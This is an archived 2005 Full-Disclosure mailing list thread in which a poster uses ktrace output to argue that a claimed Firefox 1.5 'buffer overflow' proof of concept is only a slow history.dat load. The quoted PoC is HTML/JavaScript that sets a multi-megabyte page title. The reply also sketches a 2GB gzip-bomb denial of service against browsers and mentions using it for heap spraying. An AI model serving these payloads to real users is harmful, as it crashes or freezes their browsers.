| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <40664A09-717A-4560-BC21-F5736A4F9F50@mac.com>
Date: Fri Dec 9 01:30:56 2005
From: ezdy at mac.com (ezdy)
Subject: Firefox 1.5 buffer overflow (poc) - more buffer
"overflows" waiting to be discovered
and theres no reason for it to be working.
first let's see what's going on - i loaded provided html in firefox
and quitted it.
even quitting firefox took a while, but only slightly longer than usual.
after starting firefox again, it indeed didn't load, stuck in some
kind of disk loop ignoring all macosx ui events.
but not swapping. alright, that's strange:
ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ ktrace ./firefox-
bin
ezdy@...astace:~/Desktop/Firefox.app/Contents/MacOS$ kdump -m 1 |
tail -100
...
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"0"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"0"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL lseek(0x18,0x21a000,0)
7616 firefox-bin RET lseek 0
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"0"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"\\"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL lseek(0x18,0x21c000,0)
7616 firefox-bin RET lseek 0
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"A"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"A"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL lseek(0x18,0x21e000,0)
7616 firefox-bin RET lseek 0
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
this repeats virtually ad-infinitum until end of history.dat is reached.
note that there is never allocated any memory-the same buffer is
always used, thus no memory leak.
firefox is stuck in loop (and eventually starts, since the string is
finite, in my case
about 30M) but it took way too longer to load. im not a windows user
but since mac is only
step away from it (you know apple, let's take win95 and freebsd and
mix it together) my guess is
it is the same situation of keeping main thread busy and events
cannot be passed down, eventualy
leading to "application is not responding" killbox.
for Z1PL0CK:
Don't stop, keep posting fake "buffer overflows" of #darknet
trademonkeys (this one actually looked funny in the beggining).
This time you made it to get /.ed which is not a bad start, but yo
gonna fly higher!
Because this bug got killed, i've something better for you:
dd if=/dev/zero a 2GB file and gzip it. then just write a php script
which sets content-encoding: gzip and
fpassthru the file. safari rendered 1.2gb system unresponsible in 5
seconds, firefox in about 30. both crashed
on "overflows" like this:
Safari(233,0xa000ed68) malloc: *** vm_allocate(size=1250000896)
failed (error code=3)
Safari(233,0xa000ed68) malloc: *** error: can't allocate region
Safari(233,0xa000ed68) malloc: *** set a breakpoint in szone_error to
debug
for those interested i can send coredumps
now THATs SOME SERIOUSLY MAD warez (for those who wants to quickly
pollute browser's heap with shellcode: yah, this
is a good way).
sheesh. is this some 'who invent a stupidier dos attack against
browser' contest of some sort or what?
On 8.12.2005, at 20:51, Matt wrote:
> Didn't work here, just made the system go a bit sluggish for a
> moment, as you would expect when dealing with a 2.5 million
> character string.
>
> Firefox :
> Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8) Gecko/20051130
> Firefox/1.5
> Built with :
> gcc version 3.4.4 (Gentoo 3.4.4-r1, ssp-3.4.4-1.0, pie-8.7.8)
> Window manager:
> KDE 3.5.0
>
> Possibly it is crashing the Windows API ?
>
> --
> Matt
>
>
> On 12/9/05, Ron <iago@...hallalegends.com > wrote:I was also unable
> to replicate it, on Firefox 1.5 i386 Linux EN
>
> ad@...poverflow.com wrote:
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > nor a fake , nor you really dont know what is a buffer overflow,
> but for
> > sure here on my firefox 1.5 EN, the client is much longuer to
> load to
> > the next boot but it reloads fine without exceptions and there is
> > nothing about a security bug here...
> >
> >
> >> <!-- Firefox 1.5 buffer overflow
> >>
> >> Basically firefox logs all kinda of URL data in it's history.dat
> file,
> >> this little script will set a really large topic and Firefox
> will then
> >> save that topic into it's history.dat.. The next time that
> firefox is
> >> opened, it will instantly crash due to a buffer overflow -- this
> will
> >> happen everytime until you manually delete the history.dat file
> -- >which
> >> most users won't figure out.
> >>
> >> this proof of concept will only prevent someone from reopening
> >> their browser after being exploited. DoS if you will. however, code
> >> execution is possible with some modifcations.
> >>
> >> Tested with Firefox 1.5 on Windows XP SP2.
> >>
> >> ZIPLOCK <sickbeatz@...il.com>
> >>
> >> -->
> >> <html><head><title>heh</title><script type="text/javascript">
> >> function ex() {
> >> var buffer = "";
> >> for (var i = 0; i < 5000; i++) {
> >> buffer += "A";
> >> }
> >> var buffer2 = buffer;
> >> for (i = 0; i < 500; i++) {
> >> buffer2 += buffer;
> >> }
> >> document.title = buffer2;
> >> }
> >> </script></head><body>ZIPLOCK says <a href="javascript:ex
> ();">CLICK ME
> >> </a></body></html>
> > -----BEGIN PGP SIGNATURE-----
> > Version: GnuPG v1.4.2 (MingW32)
> >
> > iQIVAwUBQ5g3Jq+LRXunxpxfAQIg5RAAsMXisNDN9AcLiWf9F7nsoKhT6uaULAw+
> > 4omnQUjuaRvxAIYRwKNC1nC+zl8qzmUsL4Extkd52mn7OkTrprd1MUE09CoshSlX
> > Nq9N62bJ4zqRsdrum1NQhc358scTWNKCmWWXtSGNqu4fGnvpljyeYRACGeC6UD/v
> > DDbikg09XOO+GffIAf4la63f+SV63+laZ6TkmX2jxBdw1LBN0mMCBLo0IPY5K78m
> > /Cu2SCIqvs00ih6olLp9f8/3p9SgiK2+D9UiTnw3F3f2mYR5r7uGilYL9PNQPmKE
> > crCnfKCYxi/4P03rnIuja9LNloQWkBTsOhOfe5716NlQ/KZAz/IpfTw7yS6sdn22
> > cxUpAE5zQqfI7jI0cD3yozmSksMyyEBLojAtsn2ECFOKpQQgkoOgaQX+dnrT+EYo
> > pr2qquUKH/GXHGeT9od57cUkC/Jaf7qcaSkF6/LJ+13yHcsuDH0KcsMCYDP6aGN3
> > 5R4/c6MAGFWKblMzdksWe+qqCDgm1yeM7MBbHGYyL6PMnfSldJBD29kGceLc47hi
> > AVJaVmmDb3Nc/fo93gmqUT/x+mMItyk8+4dH0HOzEjRfI0qedeD+1uusS97ThVEw
> > 2KG1o/1vlLPsnailmtHbj8sj/iawQvQRR/Phvk2Noz8bTQSEkDuThtE+zr2ZEjvb
> > IFxjTMn8Sc0=
> > =SX09
> > -----END PGP SIGNATURE-----
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists